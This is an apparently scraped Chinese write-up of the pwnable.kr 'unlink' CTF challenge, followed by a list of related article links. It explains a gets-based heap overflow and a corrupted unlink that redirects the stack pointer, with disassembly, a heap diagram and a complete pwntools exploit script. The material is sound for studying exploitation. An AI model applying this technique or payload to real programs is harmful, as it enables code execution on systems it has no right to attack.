pwnable.kr writeup之unlink
来源:互联网 发布:cms主题是什么意思 编辑:程序博客网 时间:2024/06/01 09:35
堆溢出学习
一道unlink的姿势的pwn题
做题前主要学习了这篇文章 http://wooyun.jozxing.cc/static/drops/tips-7326.html
溢出点其实相当简单,就是因为使用了不安全的gets函数
题目中已经知道了栈地址和堆地址,通过gets将shellcode写入栈中造成堆溢出。经典的unlink是通过改写got表中的free地址为我们的shellcode的地址,这里也没有用到free函数,关键就在main函数中。
8048555: e8 46 fe ff ff call 80483a0 <malloc@plt>804855a: 83 c4 10 add $0x10,%esp804855d: 89 45 ec mov %eax,-0x14(%ebp)8048560: 83 ec 0c sub $0xc,%esp8048563: 6a 10 push $0x108048565: e8 36 fe ff ff call 80483a0 <malloc@plt>804856a: 83 c4 10 add $0x10,%esp804856d: 89 45 f4 mov %eax,-0xc(%ebp)8048570: 83 ec 0c sub $0xc,%esp8048573: 6a 10 push $0x108048575: e8 26 fe ff ff call 80483a0 <malloc@plt>804857a: 83 c4 10 add $0x10,%esp804857d: 89 45 f0 mov %eax,-0x10(%ebp)
由该段代码可知,ABC的地址分别为 ebp-0x14,ebp-0xc,ebp-0x10
80485f2: e8 0d ff ff ff call 8048504 <unlink>80485f7: 83 c4 10 add $0x10,%esp80485fa: b8 00 00 00 00 mov $0x0,%eax80485ff: 8b 4d fc mov -0x4(%ebp),%ecx8048602: c9 leave 8048603: 8d 61 fc lea -0x4(%ecx),%esp8048606: c3 ret
leave在32位汇编下相当于
mov esp,ebp pop ebp
ret指令的作用是栈顶字单元出栈,其值赋给EIP寄存器,只要能够修改ESP寄存器的内容修改为shellcode的地址就能够执行shellcode。
在该段代码中在ecx-0x4的地址被传送给esp,ebp-0x4的内容被赋值给了ecx,由此可知我们需要修改的是ebp-0x4的内容。
在将shellcode写入A中后,因为A的地址为ebp-0x14,需要修改的地址为ebp-0x4,则ebp-0x4相对于A的位置为&A+0x10。
+-------------------+-------------------+ <- [A]| FD | BK |+-------------------+-------------------+ <- [A->buf]| shellcode | AAAA |+---------------------------------------+| AAAAAAAA |+---------------------------------------+ <- [B]| fd1 | bk2 |+-------------------+-------------------+
shellcode的地址为leak的heap地址加8,又因为是将ecx-4的指针赋值给esp,shellcode的地址还需要加8
fd1 = heap_addr+12bk2 = stack_addr+16
最终我们将shellcode+8的值赋值给了ebp-0x4,由此构造exp。
from pwn import *context(log_level="debug")shell_addr = 0x080484ebs = ssh(host='pwnable.kr', port=2222, user='unlink', password='guest' )p = s.process("./unlink")p.recvuntil("here is stack address leak: ")stack_addr = p.recv(10)stack_addr = int(stack_addr,16)p.recvuntil("here is heap address leak: ")heap_addr = p.recv(9)heap_addr = int(heap_addr,16)payload = p32(shell_addr)payload += 'a'*12payload += p32(heap_addr + 12)payload += p32(stack_addr + 0x10)p.send(payload)p.interactive()
0 0
- pwnable.kr writeup之unlink
- pwnable.kr writeup之simple login
- pwnable.kr-bof-Writeup
- pwnable.kr-random-Writeup
- pwnable.kr-random-Writeup
- pwnable.kr-bof-Writeup
- pwnable.kr-random-Writeup
- pwnable.kr-bof-Writeup
- pwnable.kr-random-Writeup
- pwnable.kr-cmd1-Writeup
- pwnable.kr-cmd1-Writeup
- pwnable.kr-cmd1-Writeup
- pwnable.kr-cmd1-Writeup
- pwnable.kr writeup otp
- pwnable.kr writeup hash
- pwnable.kr uaf writeup
- 全面剖析Pwnable.kr unlink
- pwnable.kr simple login writeup
- <generator object next_siblings at 0x03662E90>
- 线程的生命周期
- jsp 2 jsp语法
- 程序员——二十个让你泪流满面的瞬间
- Titanic Xgboost版代码分析
- pwnable.kr writeup之unlink
- ADO数据库访问技术
- JAVA基本数据类型的输入
- Android应用的欢迎界面动画实现
- 117. Populating Next Right Pointers in Each Node II(unsolved)
- 装完WINDOWS SDK后VS2010资源编辑器打不开
- Design TinyURL 设计短网址系统
- 最后一战代码分析
- jQuery选择器之表单元素选择器